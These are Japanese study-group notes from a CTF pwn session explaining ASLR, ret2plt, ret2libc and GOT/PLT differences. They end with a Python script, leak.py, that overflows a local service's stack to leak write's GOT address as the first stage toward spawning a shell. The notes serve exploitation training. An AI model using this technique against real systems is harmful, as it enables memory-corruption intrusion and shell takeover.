# 12/9 低レイヤ 勉強会 ## はじめに 「ハリネズミ本を使ってやっていく」という話だったのですが、この本は32bit環境を対象としており、64bit環境が普及している現在、この本の内容を再現するのは少し難しくなっています ただ説明はわかりやすいので、来週からは再び**Malleus CTF Pwn**の問題で演習しつつ、ハリネズミ本で解説の補助をしていく形をとっていこうと思います もうしばらく手探りで勉強会を進めていく形になりますが、ご容赦ください🙇‍♂️ --- ## ASLRについて アドレス空間配置のランダム化(英語: address space layout randomization, ASLR)とは、重要なデータ領域の位置(実行ファイルとライブラリ、ヒープ、およびスタックの位置が含まれる)を無作為に配置するコンピュータセキュリティの技術である。 アドレス空間のランダム化は、攻撃者が標的のアドレスを予測することをより困難にすることによって、ある種のセキュリティ攻撃を妨害する。 予測が失敗すると通常アプリケーションはクラッシュするため、回復は不可能である。(Wikipedia) ## Return TO PLT (ret2plt) - PLT は Procedure Linkage Table の略 - PLTに書かれた短いコード片を関数として呼び出すと、 動的リンクされたライブラリのアドレスを解決してライブラリ内の関数を実行してくれます。 - C言語ライブラリ Libcのキャッシュを作り、関数の読み込みを高速化するような仕組み。 ブラウザのキャッシュ、Cookieみたいな、一度訪問したページの再読み込みを高速化する仕組みみたいなもの - そして ret2plt は、リターンアドレスを PLTに存在する関数を指すように書き換えてしまえば動的リンクされたライブラリの関数を呼び出すことができるというもの。 ## Return TO Libc (ret2libc) - キャッシュみたいなPLT とは違ってLibc、関数そのものの領域を示す。 - これが存在する領域はGOT (Global Offset Table)という - re2libcは、ret2pltと同じことをLibcアドレスを使ってやる ## 両者の違い - PLT は ASLRによって、プログラムの実行毎に位置が変わらないが、GOTはコロコロ変わる - 逆アセンブリしたPLTの関数のアドレスを使えば関数として実行できるが、GOTの関数のアドレスは使えない - GOTのアドレスを求めたければ、プログラムの実行中に取得して、出力させたり使用したりしなければならない - そういうわけで、Pythonスクリプトで一連の処理を自動で行えるようにすることは必須!! - ただ、あくまでキャッシュ・リンクみたいなPLTとは違い、GOTはCの関数ライブラリの場所を直接示すので、1つのGOTアドレスから他すべての関数を逆算することができる。 - 特にsystem関数(system ("/bin/sh"))はシェルを実行するのに必須だが、問題の実行ファイルに入っていることはほとんどない。 - シェルを実行させるにはGOTを使ってsystem関数のアドレスを計算する、といった作業が必要!! --- - 実行ファイルのアセンブラをよみつつ、pltで存在する関数を使いたければそのままpltアドレスを使って関数を実行すればいいし、systemみたいなアセンブラに存在しない関数を実行したければ、gotアドレスから逆算する。 ## CPU レジスタ EIP について 復習:レジスタはCPU内の記憶装置。このレジスタを用いて演算が行われる。 (変数みたいなものと思ってくれればOK) CPUのレジスタの一つである EIP (64bit 環境であればRIP。Rから始まるものは、32bitから64bitへの拡張の際に追加されたレジスタ) の値を自由に変更できる状態を作ると、シェルの奪取が容易になる。 IP は Instruction Point の略 ## 実際に(テキスト原文引用) eip を奪った状態で実行ファイルにランダム化された領域のアドレスを出力させることができれば、計算によって目的のアドレスを計算することができます。 (EIPレジスタを使い、GOT領域の何かしらのアドレスを出力できれば、計算で目的のアドレスを求められる) また、ASLR によってランダム化されるアドレス領域はヒープ・スタック・共有ライブラリの領域ですので、実行ファイルが配置されるアドレスはランダム化されません。 つまり、ここではアドレスが固定されている範囲内で eip をうまく制御して求めたい領域のアドレスを出力させることが目標になります。 libc の配置されているアドレス を計算することができれば、lIbc 内の他の関数のアドレスを計算で求めることができます。 --- それでは実際にPython スクリプトを使ってエクスプロイトコードを書いていきます。 その前にバイナリ内の各種アドレスを控えておきましょう。 **お詫び**:参考にしているハリネズミ本が32bitのPC向けであり、自分たちのPCはだいたい64bitのはずなので、どうにも再現できませんでした。 アセンブラはこんな感じになるらしい、というのを本の写真を撮って載せておきます。 ![](https://i.imgur.com/HRidP4W.jpghttps://i.imgur.com/HRidP4W.jpg) ![](https://i.imgur.com/6p9Mfdd.jpg) ```leak.py # leak.py import socket import time import os import struct import telnetlib # 以下の関数はとりあえず機能だけ理解して使ってくれれば大丈夫です。 def connect(ip, port): return socket.create_connection((ip,port)) # p(x)とu(x)は4バイト数字データを文字列に変換。 # 例: \x78\x56\x34\x12 とかくところを p(0x12345678)と書けるようになる。 def p(x): return struct.pack('<I', x) def u(x): return struct. unpack('<I', x)[0] def interact(s): print('.・・・ interactive mode -----.') t = telnetlib.Telnet() t.sock = s t.interact() # ここまで # アドレスを調べ、書く。 write plt = 0x8048370 write got = 0x804a01c s = connect('127.0.0.1', 4000) payload = b''.join([ #アセンブラのmainのebp/rbpレジスタの部分からスタックの大きさを調べ、Aで全部埋める #スタック領域の後に処理(関数のアドレスなど)を入力すると実行される。 b'A' * 51, # 以下はC言語で write(1,writeのgotアドレス,4)という処理。 # 最初にwriteのpltアドレスを書き,8バイト開け,引数を書いていく。 p(write_plt), b'BBBB', p(1), p(write_got), p(4), # 上記で使われているGOTアドレスは過去のもの。 # これで、スクリプト実行時点でのwriteのGOTアドレスが求められ、逆算に使える。 ]) print(s.recv(1024).decode('utf-8')) s. send(payload + b'\n') print(hex(u(s.recv(4)))) ```